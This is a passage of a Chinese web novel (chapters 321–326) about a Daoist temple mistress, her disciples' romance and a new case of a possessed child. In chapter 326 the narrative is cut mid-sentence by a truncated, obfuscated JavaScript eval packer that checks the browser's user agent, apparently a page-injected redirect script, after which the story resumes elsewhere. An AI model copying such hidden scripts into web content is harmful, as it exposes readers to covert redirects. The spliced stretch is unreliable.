围观香客们望见这一幕,皆惊得倒吸一口气,瞪大了眼睛指着那边叫道: “神仙显灵了,真遇上意外灾祸了!” “好家伙这么准的吗?刚把符纸还回去,意外就发生了?” “看来那平安符真起作用啊!” 第321章 321.偷鸡不成蚀把米 “我刚就觉得那个男的有问题。怕不是别的道观怕青云观香火好,派来闹事的吧?” “对对对,一定是这样!” 香客们见此纷纷倒戈,皆转过头去辱骂那公鸭嗓男子,却无一人上前去查看情况。 徐菀立即示意几名伙计过去看看,她与慕怀瑾等人也走了过去。 伙计们上前将那男子扶起,男子迷迷蒙蒙睁开眼,看清立在自己面前的徐菀和朱雀等人,吓得嗷叫一声,从地上坐了起来,手脚并用往后退。 “啊!别...别过来啊!我错了...我错了!是许观主让我来污蔑青云观的...不是我自愿的啊! 请您放过我...不对,请您救救我!您一定有法子化解我的意外灾祸吧!” 公鸭嗓男子膝行至徐菀身前,惊恐地喊着,向徐菀连连磕头求饶。 徐菀敏锐捕捉到他言语中提及的一个称呼,“许观主?你是八仙观的人?” 在此期间,几名围观的香客,从地上捡起方才那男子摔倒在地时,身上掉出的一些符纸。 将其拾起一看,几名香客立时喊道:“这是八仙观的符纸!我在八仙观买过一次符纸,就是这个样子。” “没错,就是八仙观的!我也买过两次,根本没用!要的银子还死贵。” 至此,众香客才反应过来,今日这一出,原来都是八仙观怕新开张的青云观抢了香客,才派人来污蔑啊。 “真不要脸!你们八仙观才是骗子道观,专门为了敛财而开的吧!” “就是!亏你们还是道门中人呢,竟做出此等丢人现眼之事!” “就是就是!” 四周的香客们对着那男子破口大骂,那男子却连头都不敢抬一下,依旧跪着对徐菀连连磕头。 徐菀见此,开口朗声道:“好了!诸位信士莫气。既然此人已承认错误,我们便不必苛责于他。 只要记住凡事有因必有果。他今日既做出污蔑青云观之事,便会承担相应的恶果。方才那根树枝掉落只是个开始,往后还有更多恶果等着你。” 八仙观道士一听,更是吓得面色惨白,瑟瑟发抖,“这位观主...不,天师!您就救救我吧,或是给我些提示也行!” 白虎嗤笑一声,垂眸轻蔑地望向那名八仙观道士,“呵,你刚不是说我姐给你的符纸无效吗?若不是我姐给的符纸,你恐怕早就遇上灾祸了。 这会儿才想起来求我师父,你觉得可能吗?有本事回去求你们许观主啊!” 徐菀居高临下望着不断求饶的道士,淡淡开口,“你在回八仙观的路上,会遇到一眼角带青斑的瘸子。若是他有求于你,记得一定要帮他。” 那八仙观道士听罢即刻明白了徐菀的意思,躬下身再次向徐菀不住磕头,“多谢天师指点!多谢天师!” 徐菀顿了顿又道:“还有,你回八仙观后,代我向你们许观主带句话。就说我青云观在京城开定了。若是八仙观还想找茬,我青云观定奉陪到底!” 她的语气依旧十分淡然,但听入众人耳中,却是如此铿锵有力,好似任何阴谋诡计都无法威胁到她。 “好...好,在下一定带到...天师告辞!” 道士话罢慌忙爬起身,在众人的指点唾骂中,如过街老鼠般抱着脑袋冲出了青云观。 在场众香客见此事完美解决,皆不约而同鼓起掌来。 “青云观观主做得好!就是不能涨那八仙观的气焰!” “就是。我看青云观才是有真材实料的道观。以后我要求什么,就来青云观!” “说得对!还是青云观的符纸管用,我再去买几道。” “我也要!我也要!” 众人说着,再次兴致勃勃一股脑地朝法物店冲去。 目睹了一切的慕家人,目光从香客们的身上,也渐渐落回到徐菀身上。 慕怀灵依然是第一个一脸崇拜地说:“我大嫂真是太厉害了!三言两语便拆穿了八仙观的奸计,还狠狠打了他们的脸,简直太爽了!” 慕怀清则愤愤不平道:“那八仙观是什么强盗骗子道观,出的都是什么牛鬼蛇神,竟耍一些连我等生意人都不屑于耍的把戏。真是亏他先人了。” 薛敏芝则从旁安抚道:“他八仙观再奸诈,最后还不是跪地磕头求大嫂救命吗?这下好了,偷鸡不成反蚀把米。 今后怕是全京城的香客都会知道,八仙观今日做出的此等卑鄙之事了。” “哈哈哈...”众人朗声一笑,周遭的气氛终于松弛了下来。 慕怀瑾望着身边年纪虽小,处事却如此冷静细致的徐菀,再一次感叹她的小媳妇真有侯门主母的风范。 “菀菀,你真不愧为一观之主,也不愧是我慕怀瑾的夫人。” 说到最后一句时,慕怀瑾与徐菀都不约而同地笑了。 徐菀还略略羞赧地捶打了一下慕怀瑾的胸口,“说什么呢,你还骄傲上了?” 慕怀瑾准确握住她的小拳头,微微低下头,竟难得一见地促狭一笑,“有一位神通广大的观主做夫人,我能不骄傲吗?” 周围的慕家人望见这一幕,皆掩唇低低笑了起来。徐菀意识到后羞得脸颊都快烧起来。 慕怀瑾这才松开手,轻咳一声正色道:“让大家见笑了。我们继续走吧。” 慕家一行人便继续向内走去,可才走了几步,身后便传来朱雀有些失意的声音。 “师父...” 徐菀停下脚步,略略回过身,“怎么了朱雀?” 但见朱雀低着头,两手绞着自己的衣角,面上带着一抹愧疚与难堪。 “师父,我这会儿有点不舒服,今日想向您告个假,请师父准许。” 徐菀见她面色不对,想必是心中还对方才之事耿耿于怀,于是便爽快应允。 “好,你和白虎都先回去休息吧,明日再过来。白虎,好好劝劝你姐姐,让她别想太多。流星将军,就麻烦您送他们回去了。” 流星向徐菀点头应道:“侯爷和夫人放心,我会照顾好他们的。” 话毕,朱雀便低着头转身快步向青云观角门而去,白虎与流星亦很快追了上去。 第322章 322.就让我这样抱抱你 朱雀一路快步穿过法物店,从其后门出来后,再向右拐进一条窄道,之后一直往前走,便来到了青云观的角门。 白虎与流星奋力跟在她身后,但法物店香客太多,难免拖慢了他们的脚步。 待二人追到角门时,朱雀早已离开,在这条背街小巷中疾步而行。 此处僻静无人,流星终于能够撒足毫无顾忌向朱雀追去。 “朱雀!” “姐姐!” 流星迈开长腿,疾奔之下身影如风,转眼间便追上了朱雀。白虎亦跟在流星身后,拼命奔跑向他们追去。 “等等!”追上朱雀后,流星一把拉过她的手臂,迫使她停下。 朱雀未收住去势,被流星一拽,整个人猛地转了个圈,差点撞进流星怀里。 “你做什么!”朱雀猛地转过身向流星吼道,“放开我!” 但流星握着她的手臂就是不放,“你走那么快做什么,不能等等我们。” 白虎这时也追了上来,气喘吁吁道:“是啊姐姐,你走慢点嘛,简直要把我追得累死了。” 谁料,朱雀抬首冷眼望着流星,语气冷然道:“你跟着我做什么?还不快放手!” 她奋力一挣,这才挣脱了流星的控制,转身再次要走。 流星却一闪身拦在了她的身前,“方才侯爷和夫人让我送你们回府,你没听见吗?我只是依命行事而已。” 依命行事?原来不是他自己想来,是我自作多情了。 朱雀侧过头避开他的视线,冷声道:“我现在不想回府,想一个人静静,你送白虎回去吧。” 话毕再次迈步绕过流星想走,没成想,流星又一次拉住了她,用半责备,半玩笑的语气说: “我说炮仗小姐,你是听不懂人话,还是听不懂人话啊?侯爷和夫人让我送你们两个回府。你一个人去外面瞎逛,若是出了事,让我如何跟侯爷和夫人交代?” 朱雀本就烦躁,想找个地方一个人静静。流星却一直拦她的路,还一个劲儿地叫她炮仗,一下子点燃了朱雀心底的怒火,抬起头对流星劈头盖脸就是一顿骂。 “我听不懂人话?人话我听得懂,但畜生的话我可听不懂!我又不是三岁小孩,我去哪里是我的自由!就算我在外面出事死了也跟你没关系!” 谁知朱雀还没喊完,便被流星愤怒至极的吼声打断,“谁说的!跟我有关系!” 这道吼声一出,方才还充斥着两人争执之声的小巷,刹那间静了下来。 朱雀与流星两人皆喘着气,胸膛略微起伏着,互相瞪视着对方。 周遭蓦然陷入的死寂,压迫着他们的耳膜,令二人没由来的有些异样之感。 渐渐他们才感觉到,自己的心跳声竟是如此之大,大到对方甚至都能听见。 少倾,流星沉下声对白虎道:“白虎,你先回去。我和你姐说几句。”但目光却依然紧盯着朱雀,未有丝毫松懈。 白虎见他们二人的架势,估摸着今日怕是要将心底的话说开了。 此时若是还在留在此处,事成的话他是个碍眼的,若是不成,他就是个炮灰。 所以还是赶紧溜吧。他们二人的事让他们自己解决。 “好。我先走了。姐姐,流星大哥,你们可都想开点啊。” 话毕,白虎便小心翼翼从他们二人身旁穿过,快步而去。 直到白虎的身影消失在小巷尽头,流星才开口道:“你今日是怎么了?还在因为方才那个八仙观道士生气?可是慕夫人不是已揭穿了他的谎言,为你正名了吗?你就别想那么多了。” “你懂什么?”朱雀此时真的不想跟他多说。 方才她被众人指责唾弃的狼狈一幕,此时还历历在目。朱雀甚是不想让流星见到如此狼狈的自己。 或者说,她的狼狈模样最不想暴露给的人,就是流星。 因此,朱雀说完那句话后,低下头又想走,“你别再跟着我了。我现在真的不想跟任何人说话,你让我一个人静一静好不好...” “不!”流星又一次拉住了她,有些急切地说:“你有什么心事都可以跟我说。我想了解你的全部,我想为你分忧...” 朱雀忽然抬起头,眼神犀利盯住流星,语气中带着讥笑和自嘲道:“你想了解我?刚才那些人说的还不够吗?从前的我就是个靠假道术骗人钱财的神棍!不知骗过多少人的钱,最后被那些人拦在家门口讨债! 你现在知道了,满意了吗?满意了吗!” 朱雀歇斯底里地喊着,带着因羞耻而起的恼怒,与破罐子破摔。 这样的她,一定会令流星厌烦嫌弃吧。 可出乎朱雀的意料,她胸中的恼恨还未发泄完,自己就被一股大力,揽入了一个无比坚实的怀抱。 刹那间,朱雀愤怒的喊声戛然而止,噎在了嗓子口,双眼直直地望向某处,身子一动都不能动。 发生了什么? 我现在在哪儿? 流星对我做了什么? 她的脑中也是一片混乱,好似有无数个念头瞬间闪过,但却快的一个都抓不住。 良久,一道清亮磁性的男性嗓音,饱含着浓浓的深情与疼惜,在朱雀耳畔低低响起:“我不介意,我一点都不介意。” 朱雀霎时怔住了,仿若有一道炽热的阳光,直直照射进她心底封闭幽暗的角落,刹那间整个世界都亮了。 这时,她才感觉到身下的胸膛是多么火热,环住她的双臂是多么结实有力,耳畔的心跳声是多么响亮有力。 而她自己,脸颊烫得一塌糊涂,心跳也快得似上了发条,心潮好似海浪翻涌,一浪高过一浪。 乱了,一切都乱了。 朱雀慌乱地想推开流星,“你在做什么!你...你...” 可流星死死将朱雀按在怀里,任她如何挣扎捶打都丝毫不松劲。 朱雀挣扎了半天,惹起一身汗,内里的衣衫都湿透了,却将他推不开半分。 最后,朱雀气急败坏,烦躁、恼怒、羞愧与担忧混杂在一起,让她终于忍不住哭了出来。 “你这个混蛋...你到底要做什么...你就不能走吗...你走啊呜呜呜...” 忽然,一道温柔深情的话语,传入朱雀耳中,“朱雀,不要动,让我就这样抱抱你。” 第323章 323.欢喜冤家确认心意 “朱雀,不要动,让我就这样抱抱你。” 流星低沉又饱含着深情的嗓音,在朱雀耳畔响起。 朱雀的哭声刹那间卡在了嗓子里,甚至倒抽一口气。 他说什么? 他喊了我的名字... 还说就想这样抱着我... 还不等朱雀分辨清楚,流星的嗓音再次响起,“我不在乎你的过去是怎样。而且不止我,其实我们每个人都不在乎你的过去。 我只知道我认识的朱雀,是个单纯善良、敢爱敢恨、对人对事无比认真的姑娘。 所以你根本不必妄自菲薄,无需用从前的错误惩罚自己,更不必担心我们会因你的过去而嫌弃你。 其实始终,都是你自己在嫌弃过去的自己而已。” 这一句句充满信任与关怀的话语,自一向没个正经样的流星口中说出,朱雀竟觉得有些不可思议。 但不可否认的是,他的话确实如寒冬过后的第一缕春风,轻缓地抚平她内心的焦躁不安、自责与愧疚。 渐渐地,朱雀的心情稍稍平静了一些,慢慢抬起头,轻轻抽泣着问,“真的吗?你们真的这样想?” 流星低下头,嘴角含笑望向红着眼角和鼻头的朱雀,带着宠溺的意味道:“是啊,我怎么可能骗你。不信你可以去问你师父。若是慕夫人介意你的过去,怎可能收你为徒? 我若是嫌弃你,怎么可能还似狗皮膏药一样,粘着你不放?朱雀,我的傻姑娘,你真的感觉不到我的心意吗?” “你的心意?” 朱雀的心跳蓦地加快,心中隐约意识到他要说什么,却又担心是自己自作多情,只是流星又一次逗她罢了。 流星却异常认真地望着她,定定望进她的双眼,一字一句道:“你真的没感觉到吗?我喜欢你啊。” 我,喜,欢,你。 这四个字说出口的瞬间,冰消雪融,碧溪潺流,绿意抽芽,百花齐放,小兽们都齐齐冒出了头,在翠绿的草地上欢快追逐。 朱雀心中的小人儿,也似幼兽一般欢欣雀跃跳起了舞。 她奋力按捺住飞快的心跳,装出一副吃惊又怀疑的表情,小心翼翼道:“怎么可能!你是不是又在耍我,想让我出丑?” 流星顿时哑然失笑,“哈哈,看来我以前把你逗得太狠了,让你都怕我了。” 笑罢,流星再次低下头认真道:“朱雀,我是认真的。从我们在清波湖初遇那日,我便将你记在了心里。 之后的一次次相遇,你总是对我冷脸相对,所以我总是逗你,想引起你的注意。 直到那次我们遇到杀手围攻,看到你被杀手划破手臂,我才明白你在我心里有多么重要。 其实我早就想找机会对你表明心意,但一直等不到好机会,而且我也有些害羞,担心你不喜欢我...” 说到此处,流星顿了顿,有些期盼又羞赧地问:“所以朱雀,你对我...有没有...” 听罢流星方才那一番话,朱雀心中早已乐开了花。 可是,一想到马家祖训,她又将那种心悸压了下去。 “我不行。”朱雀低下头。 “什么不行?”流星不解问。 朱雀稍稍与他拉开些距离,沉声道:“我们马家的女人,不能嫁人生子,一生都要贡献给除魔卫道。所以我是不会嫁人的。” 流星听后又气又无奈,“什么鬼祖训,这不是违背人伦吗。” “不许你这么说!” “好好好,我不说。”流星自己掌嘴两下,语声很是哄着朱雀,“你先别考虑你们家的祖训。你就实话告诉我,你心里有没有我?这对我很重要。” 流星握着朱雀的双肩,微微弯身一瞬不瞬望着她的双眼,朱雀也定定注视着他。 他的眸子黑亮澄净,眼底透出一丝丝焦急,而眼眸中倒映着的,全是她。 被这样一双澄澈的眼眸望住,朱雀早已想好的违心之言,却无论如何都说不出口。 见她目光有些纠结,流星已明白了她的心意,摇晃着她的肩热切欣喜地说:“你心里也有我对不对?我就知道你不可能对我没感觉。 朱雀,我不会逼你嫁给我为我生儿育女,我也不会阻拦你除魔卫道的职责。 只要我们俩彼此心意相投,我陪你降妖除魔,你陪我仗剑天涯。我们就这样相伴一生,好不好?” 这一番话,堪堪说进朱雀的心里。流星所描绘的画面,正是她一直以来所憧憬的与爱人的未来。 朱雀心中由祖训筑起的高墙,在流星真诚且温柔的攻势下,逐渐崩裂坍塌。对流星的依赖爱恋,再也无法掩饰和否认。 于是,她望着他的双眸,轻轻点了一下头。 流星望见她的举动,刹那间,他的眼底似缓缓绽开了一朵灿烂的红蔷,嘴角也抑制不住弯起一个迷人的弧度,口中却依旧促狭道: “太好了...朱雀,我就知道你抵抗不了我的魅力。” 说着,流星又不自觉将朱雀揽入怀中,朱雀嗔怒地捶他的胸口,“混蛋!别以为我答应了你,你就可以为所欲为了。少嘚瑟我告诉你,否则我一样可以把你甩了!” 流星顿时怂了,赶忙双手合十向她认错赔罪,“我的祖奶奶我错了!您大人有大量别生气啊。” “什么祖奶奶,我有那么老吗?” “不对不对,应该是我的公主殿下,小星子向您赔罪。” 流星说着,夸张地做出一套太监的动作,将朱雀逗得哈哈大笑,也跟他装了起来,“好了小星子,本公主饿了,想用膳了。” 流星立马鞍前马后地伺候,“公主殿下您想吃些什么?小星子这就为您安排。” “嗯...我想吃烧鸡,烤鸭,还有猪蹄,最好来个满汉全席!” “好嘞!小星子这就带您去吃,走吧!” 流星说罢,二人的视线碰在一起,不约而同笑喷了出来。 接着,二人手牵着手沿着小巷向外走去,不时侧头望对方一眼,眼底与嘴角都禁不住溢出甜蜜的笑意。 朱雀心中感慨,原来这就是与相爱之人心意相通的感觉。 唯愿这种幸福能一直持续下去,相伴他们左右。 第324章 324.亲手为你做的礼物 青云观开观的第一天,准备好的数百道符纸及开过光的饰品和摆件,皆出售一空。 各个大殿的门槛被踏蹭得掉了漆,磕头用的团蒲则被磨得掉了色。 每个大殿的功德箱都被铜板、银票和碎银子塞满了大半。 再加上大长公主,定北王及肖大人一家送上的价值连城的宝物。 今日青云观的香火钱,怕是抵得过八仙观一个月的收入了。 慕怀瑾陪徐莞在青云观清点完今日的香火钱后,天色已暗了下来。 但徐莞却愈加神采奕奕,不仅因为今日青云观打了个漂亮的开场,更因师父从小对她的嘱托,终得实现。 “小时候我在清凉山随师父学道时,师父就时常对我说,往后有机会,一定要将青云观发扬光大,让更多百姓享受道法的福荫。 如今,我终于做到了。而且还是在下山后一年内就做到了。真的谢谢你怀瑾。若是没有你,怕是还要等两三年才能实现。” 二人回府后用过晚膳,便坐在松风苑的花园内乘凉。 五月白日里的天气明媚燥热,晚间却凉爽宜人。清凉的晚风自各色繁花间拂过,送来缕缕甜蜜清香。 二人就坐在花间的软榻上,徐菀倚靠在慕怀瑾的肩头,一同欣赏着夜空中那轮皓白的圆月。 慕怀瑾握着她肩膀的手,略微紧了紧,颔首道:“对我还说什么谢。我对你说过,我们已是夫妻,不必分你我。看到你实现心愿后如此开心,我也高兴。 况且青云观的香火那么好,估计不出半年便可盈利。我还要多谢你为我带来利润如此高的营生呢。” 慕怀瑾说完,二人相视一笑。徐菀暗想,慕怀瑾不愧是商贾,任何地方都能找到发财的路子。 而后,慕怀瑾道:“不过菀菀,你要答应我一件事。你虽是青云观观主,但可不能日日待在观内。你是我的夫人,我还是希望你能陪着我。青云观那边有朱雀和白虎坐镇,应该不会有大问题。” 徐菀好脾气答应道:“好好好,我答应你。况且我也不可能日日待在观内,外面还有甚多事等着我去解决呢。 但是,只靠朱雀和白虎二人管理青云观,恐怕还不够。看来我还需多收几个徒弟才好。” 徐菀说着,眸光一转瞟向身旁的慕怀瑾,眼里闪过一丝促狭之色。 慕怀瑾瞬间明白了她的意思,顿时哑然失笑,她还没放下收他做徒弟的念想呢。 随即,慕怀瑾不由得低头下无奈一笑,徐菀望见也忍不住哈哈笑了出来。 慕怀瑾这才反应过来,原来徐菀是在逗自己,立时眯起眼佯装怒道:“大胆的丫头,竟敢逗弄本侯,看本侯如何惩治你。” 说着,慕怀瑾揽着徐菀肩的手臂稍稍一用力,身子再一转,便将徐菀压在了软榻上,另一手挠她的腰腹和咯吱窝的痒痒肉,将徐菀挠得一阵惊呼尖笑。 “啊!咯咯咯...怀瑾你不要...哎呀我错了...我认错了还不行咯咯咯...” 二人在软榻上嬉闹片刻,身上便微微出了汗,徐菀更是衣衫凌乱,鬓发欲散,面颊上浮现出一片醉人的红晕。 望着身下明艳欲滴若山茶花的徐莞,慕怀瑾喉头忽然一阵发干,后背也热了起来,心内阵阵发痒。 他微微摇摇头,将那种痒意压下,提醒自己还有一件要事要做。 “菀菀。”慕怀瑾望着身下的徐莞开口。 “嗯?”徐莞从方才的嬉闹中缓过劲儿来,睁大着眼睛望着他,眼里还残留着笑意。 “其实,我还有一样礼物要送给你。” “还有礼物?”徐莞好奇地问。 “嗯。”慕怀瑾含着笑意微微点头,自己坐起身,将徐莞也从软榻上拉起来。 二人坐好后,慕怀瑾才从衣襟中取出一巴掌大小的红木描金首饰盒。 而后,他将首饰盒朝向徐莞,小心翼翼地打开盒盖。 当看清首饰盒中所呈之物时,徐莞不禁轻轻低呼一声,目露惊艳之色。 只见一只通体碧绿的玉镯,静静躺在红色锦布之上,清润油亮,如水欲滴。 镯子打磨得很是光滑,在清幽的月光下,竟隐隐流转出淡紫色的光彩。 就像美人眉尾落下的一颗细痣,宁静淡远,韵味悠长 “喔,这镯子真好看。一定价值不菲吧。在哪里买的?”徐莞惊讶道。 慕怀瑾眨了眨眼,垂下眼眸定定望着徐莞,款款开口,“这只镯子确实价值不菲。但在任何首饰店都买不到。因为它是由我为你亲手做的。” 徐莞:“!!!” “你亲手做的?”徐莞猛然瞪大了眼,“你是说这只镯子是你亲手打磨的?” 徐莞蓦地想起前一阵在慕怀瑾手指上看到的薄茧,瞬间反应过来,“原来你手指上的茧是这样来的。” 接着,她又意识到了什么,“前阵子你每晚都在忙生意上的事,难道都是在做这只镯子?” 慕怀瑾抿唇一笑,“果然什么都瞒不住菀菀。看来你都猜到了。” 徐菀这才恍然大悟,执起他的手心疼道:“你这是做什么呀。京城那么多卖镯子的首饰铺子,你为何要亲自打磨,看你将自己的手弄成什么样了。” 她略带责怪,却藏着心疼的话语,听得慕怀瑾心头一热。 他反手握住徐菀的手,宠溺地笑着摇摇头,“首饰铺子里卖的镯子,怎能与我亲手磨制的镯子相比? 我亲手磨制的手镯,世上仅此一件。用这独一无二的镯子,送这世上独一无二的菀菀,才叫般配。” 如此说着,慕怀瑾将这只手镯套上了徐菀的手腕,自卖自夸地欣赏着,“嗯,不愧是我亲手磨制的镯子,戴在夫人腕上果然好看。不枉费我熬了十几个大夜啊。” 这还是徐菀第一次听慕怀瑾说如此直白的情话。 但女子就喜欢听甜言蜜语,徐菀也不例外。她面上虽未流露出多少欣喜,心中却早已乐开了花。 “永嘉侯的嘴何时也变得这么甜的呀。”徐菀戏谑地伸出手指点点他的唇。 “当然是在吻过你的唇之后。”慕怀瑾说着,便倾身吻住了徐菀的唇。 第325章 325.造个一儿半女 慕怀瑾说着,便倾身吻住了徐菀的唇。 一瞬间的惊讶过后,一种欣然与幸福,渐渐在徐菀心底弥漫开来。而后她便不假思索地回应起他来。 欣白如银的月色下,清幽微凉的花园中,夏蝉趴在枝叶间吱吱低鸣,衬得此刻是多么的静谧悠然。 在如此夜色下,二人相拥的身影在花木的掩映下,如两只优雅恩爱鸳鸯交颈缠绵,群芳都害羞地收起了花瓣,为他们二人营造出一片不被人打搅的小天地。 良久,慕怀瑾缓缓放开徐菀,抬首望了一眼夜空中皎洁的圆月。随后低下头,仍旧捧着她的脸,近的能够感受到彼此的鼻息,嗓音低沉暧昧道: “池水清澄,月色靡靡。如此良辰美景,我们是不是应该做些更快乐的事?比如...回房钻研一下如何造个一儿半女?” 徐菀霎时脸颊一红,“你在说什么?是不是喝醉了?” 慕怀瑾笑着摇摇头,忽然搂住她的腰,弯身一把将其从软榻上横抱了起来。 “啊!”徐菀发出一声低低的惊呼,“怀瑾,你要做什么?” 慕怀瑾却没有回答她的问题,而是略带感慨地说:“吾并非因酒而醉,而是因你而醉。” 话毕,慕怀瑾抱着她,从花园行至寝屋,随后门窗关闭。 寝屋内只点着几盏光线微弱的烛灯,因二人行进间带起的风微微摇晃。 少倾,二人模糊的身影投在窗纸上,好似天生一对的比翼鸟,合二为一。 夜那么长,有些人却一夜未眠,纵情相交到天明。 === 翌日,徐菀苏醒时已日上三竿。 醒来时稍稍一动,浑身各处便传来阵阵酸痛,令她不由得想起昨晚与慕怀瑾绵长的一夜。 她的脸颊不由得又开始发热。 直至昨夜她才知道,原来表面看来孤高冷峻的慕怀瑾,身心竟是如此火热,简直要将她燃烧殆尽。 而徐菀也是第一次体验男女之事。 初次体验虽有些痛,但慕怀瑾身上的紫气也顺势流入她体内,缓解了不适之感,令她只觉气血充盈,身心通畅。 徐菀体内的灵力,也略略消解了慕怀瑾身上的一些黑气,使他精力大增,瑞气更盛,将来慕怀瑾的灵力,怕是要比朱雀更强了。 正在徐菀思索时,忽然眼前光线一暗,一个人影已朝她压了下来,趁她没反应过来之时,在她唇上印下一吻。 “醒了?睁着眼在想什么?难道是在想昨夜...”慕怀瑾坐在床边,低下头戏谑地笑着问。 还未等他说完,徐菀就撑着手臂,从床榻上坐了起来,压低声音急急道:“别说了!东珠她们都在外面立着呢。” 慕怀瑾见她这副急切又羞赧的表情,笑得欢畅,“哈哈哈我让她们下去休息了,不要吵醒你。 徐菀这才松了口气,紧接着又抬眼嗔怪地看向慕怀瑾,“你还敢说,我快被你弄得疼死了。” 慕怀瑾幸灾乐祸地笑笑,“我可记得,你说我命里有一儿两女。不弄疼你,怎么能有孩子?” 徐菀又气又羞,狠狠捶了他胸口一下。慕怀瑾拉住她的手,又将她拉进怀中拥吻一番,才餂足地放开她。 “好了,不敢再累着你了。快起身用午膳吧。” 二人用膳期间,慕怀瑾一如往常,体贴地为徐菀夹菜。 陈嬷嬷与东珠等几名丫鬟从旁服侍,不时还望着他们二人掩唇偷笑,真心为她们的侯爷和夫人高兴。 徐菀则一个劲儿低头吃饭,恨不得将脸埋进饭碗里。 就在他们即将用完午膳之时,管家福叔匆忙来报。 “见过侯爷、夫人,左通政何立骅大人在正厅求见。” 这名字听在耳中有些熟悉,徐菀停下筷子望向慕怀瑾,“何立骅?是何钦的儿子?” 慕怀瑾点头,面上流露出一丝复杂之色。 徐菀即刻明白了何立骅来此何意,“没想到他如此快就上钩了。还要多亏了昨日怀瑾你送我的青云观大礼呢。” 慕怀瑾心知徐菀说的不错。若不是昨日青云观声势浩大地开观,何立骅也不会如此快便注意到徐菀。 想要找到何钦的犯罪证据,从他的儿子入手最好不过。 但经过昨夜,徐菀在他心中的份量愈加重了。慕怀瑾不知,将徐菀拉进这个旋涡,是对还是错。 若是行错一步,连累的可是整个侯府与徐菀。 慕怀瑾正思虑着,徐菀已向福叔交代道:“请何大人在正厅稍候片刻。我与侯爷这就过去。” 福叔得令转身而去。徐菀放下碗筷,简单擦拭漱口后,便准备往正厅而去。 走了两步,却发现慕怀瑾依然停在后方未跟上来,且眉宇间染着一抹忧虑。 “怎么了怀瑾?”徐菀回返到他身边问道。 慕怀瑾放松下表情,摇摇头,“没什么,只是有些担心我们走的这步棋,会不会太过凶险。” 徐菀明白他在担心什么,握住他的手宽慰道:“别担心,我只是去帮助何家的小孙子,何钦不会怀疑到我们。 另外别忘了,何钦与卫颐早有勾结。而卫颐就是制造镜魔,谋害定北王和他母妃的真凶,他向当今皇上呈上的丹药,一看也不是何好物。 所以他们的野心,并不止谋财谋权,说不定他们想要的,是更大的东西。 难道你能忍受眼睁睁看着何钦与卫颐之辈狼狈为奸,将朝堂搅得浑浊不堪吗?这是我们收集何钦罪证的最好时机。” 慕怀瑾见她胸有成竹,又态度坚定,好似任何艰险对她来说都不值一提。 望着如此自信的徐菀,慕怀瑾霎时也定下心来,将胸中的担忧扫去,泰然道: “菀菀说得对。既然我们已决定查下去,就没有半途而废一说。就算这条路遍布凶险,相信有你我,与鄞玄祎仁等友人相助,定能将何钦卫颐一伙,尽数铲除!” 话毕,徐菀赞赏地望着他,二人眼中皆闪烁着破釜沉舟的冷光。 稍后,慕徐二人便来到了侯府正厅。 但见一位身形高大的男子,正在正厅中焦急地来回踱步,连下人们为他准备的茶水,都未动一口。 第326章 326.离魂症 “下官求侯爷与夫人救我儿一命!” 初次见面,双方还一句话未说,何立骅就向他们行此大礼,实在是让慕徐二人有些意外。 看来外界关于何立骅极其深爱其子的传言果然不假。 “何大人快请起。有话还请坐下说。无需向我等行如此大礼。” 慕怀瑾说着,略略俯身将何立骅虚扶起身,招呼他在右侧的椅子上坐下。 随后,慕徐二人在首座坐定后,慕怀瑾才开口问道:“何大人方才说请我与夫人救令公子一命。 不知令公子患了何种疾病?不是应寻郎中为其医治吗?何大人怎会求到我府上来?” 何立骅再次急急起身,拱手向他们二人行礼道:“侯爷、夫人,实不相瞒,我儿所患的并不是何种疾病,而是中了邪。” 此话一出,侯府正厅内众人的神色霎时一凛。 “中邪?”慕怀瑾装作毫不知情地反问。 “对,自我儿四岁起,晚间入睡后便时常惊厥多梦,惊厥严重时,甚至会抽搐癫痫。 我与夫人起初也以为他得了病,请来京城无数名医,喝了不知多少汤药,却总不见好,反而出现了离魂症的情况。 后来我们连宫里的御医都花重金请来,我儿的情况还是未有任何好转,甚至在白天都会仿若失了魂般在府内游荡。 因这离魂症,有好几次我儿从台阶上摔下导致骨折,还有几次掉进池塘中险些溺水。 之后我们别无他法,只好将我儿关在房内,日日派人看着,才没有出大事。 如此过了三年,我儿未出过一次房门。又因常年寝食难安,致体虚羸弱,人都有些痴傻。 我夫人这三年来也衣不解带地照顾我儿,亦从未出过府。她的身子也快熬不住了。” 说到此处何立骅已有淡淡哽咽,回忆起这三年来全家人过的日子,真可谓苦不堪言。 慕徐二人听罢,心中也有些许怜悯。 少倾,慕怀瑾问:“听何大人所述,令公子患的像是离魂症。为何你如此确定他是中了邪?” 何立骅灌了几口茶,略略抹抹嘴角,又再次开口。 “下官遍请名医无效后,便将希望寄托在道观与寺庙中的方丈和道长身上。 这两年我请了不下百位道长方丈,甚至连民间云游的高人都请来府上,为我儿卜卦做法。 但这些大师中,绝大多数都是神棍。只有一位大师有真本领,言我何家祖上为武将出身,我爹又官至武将之首,久经沙场杀戮过重。 而附在我儿身上的鬼魂,就与我爹有着血海深仇。那位大师做法为那鬼魂超度,将其请出我儿的身体,我儿确实好了一段时日。 可过了没一个月,我儿却再次昏倒。这时那位大师才从我儿的八字算出他命中带煞,活不过八岁。反倒是那魂魄附在我儿身上,才能让我儿继续活下去。 我求那位大师帮忙想想办法。那位大师却说天命难违,都是我爹造的孽,他无法扭转。 只得最后再帮我儿一次,将那鬼魂又请回我儿体内。同时在我府中布下阵法,压制那鬼魂的怨气,让我儿能活下去,同时不让那鬼魂伤害我儿。 布好阵法的次日,他便消失得无影无踪。那位大师的法子起初压制住了鬼魂的怨气,但时日一长,阵法渐渐失效。 我儿近来又频繁发起离魂症,甚至还有自残及伤害家人的举动。 于是下官又寻了无数道长与大夫,却都无法彻底解决我儿的难题。 如今距我儿八周岁仅剩半年不到。我夫人与我奶奶都忧心不已,急需再请一位大师救我儿的性命。” 说到此处,何立骅的目光望向了慕怀瑾身边的徐菀,“直到昨日青云观开观,下官才听闻观主道法高强,又慈悲为怀。 于是略一打听,才知观主竟是慕夫人。而且您还曾帮过定北王、大长公主与肖大人周大人解决过鬼神之事,我相信他们的眼光定不会错。 所以今日才斗胆亲自登门拜访,恳请慕夫人出山救救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穿过正厅及花园水榭,徐菀便听见一阵杂乱的呼喊及奔跑声,有男有女,期间还夹杂着恐惧的惊呼。 